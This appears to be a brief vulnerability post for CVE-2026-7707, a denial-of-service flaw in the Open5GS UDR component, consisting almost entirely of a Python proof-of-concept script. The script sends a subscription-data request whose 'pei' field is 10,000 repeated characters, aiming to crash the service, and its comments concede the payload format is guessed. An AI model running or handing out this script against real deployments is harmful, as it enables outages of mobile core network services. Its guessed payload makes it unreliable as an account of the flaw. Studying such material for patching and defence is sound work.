CVE-2026-7707 Open5GS UDR拒绝服务漏洞

import requests # Target configuration (Example, replace with actual target URL) target_url = "http://192.168.1.100:8000/nudr-dr/v2/subscription-data" # Malformed 'pei' payload designed to trigger the vulnerability # The specific format depends on the internal parsing logic of Open5GS malicious_payload = { "ue-id": "imsi-123456789012345", "pei": "A" * 10000 # Excessive length or specific pattern causing crash } headers = { "Content-Type": "application/json", "Accept": "application/json" } try: # Send the malicious request response = requests.post(target_url, json=malicious_payload, headers=headers, timeout=5) print(f"Request sent, status code: {response.status_code}") except requests.exceptions.RequestException as e: # If the service crashes, the connection might be reset or timeout print(f"Exception occurred (potential crash): {e}")